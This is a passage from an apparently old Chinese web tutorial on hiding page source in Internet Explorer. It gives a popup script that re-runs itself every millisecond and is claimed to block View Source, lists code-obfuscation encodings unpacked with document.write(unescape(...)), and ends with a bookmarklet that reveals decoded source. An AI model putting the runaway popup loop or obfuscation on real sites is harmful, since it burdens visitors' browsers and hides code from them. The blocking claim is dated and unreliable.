}else if(popTop>1500&&popTop<1520){
oPopup.show(screen.width-250,screen.height+(popTop-1720),241,172);
}else if(popTop<180){
oPopup.show(screen.width-250,screen.height,241,popTop);
}else if(popTop<220){
oPopup.show(screen.width-250,screen.height-popTop,241,172);
}
popTop+=10000;
var mytime=setTimeout("popshow();",1);
}
popmsg(" ");

另存为 17789897.js

HTM调用JS代码
<SCRIPT language=javascript
src="/17789897.js"></SCRIPT>
呵呵有写朋友可能熟悉但是我要告诉你他现在的作用是禁止同过 [IE – 查看 – 原文件]
区别在这段代码
popTop+=10000;
var mytime=setTimeout("popshow();",1);
看到了吗?速度是10000
不用我说也知道是什么意思了吧

把上面JS和HTM调用JS代码
加到网页里就可以禁止 [IE – 查看 – 原文件]
关于保护我知道的就这些.

[-关于加密-]
我建议重要的代码采用复合加密
方式基本上有以下几种
JS编码
escape加密
8进制转义字符串
16进制转义字符串
10进制HTML编码如下
16进制HTML编码如下
都可以用<script>
<!–
document.write(unescape("加密后的代码"));
//–>
</script>
由于他门的代码很大还有JS文件我就不给了
大家可以去baidu.com搜索

[-关于破解-]
正所谓魔高一尺,道高一丈,再复杂的加密,在多的迷惑,还是要用IE来解码
给大家个超级技巧
在地址栏或按Ctrl+O,输入:

javascript:s=document.documentElement.outerHTML;document.write(’<body></body>’);document.body.innerText=s;

源代码就出来了.不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果.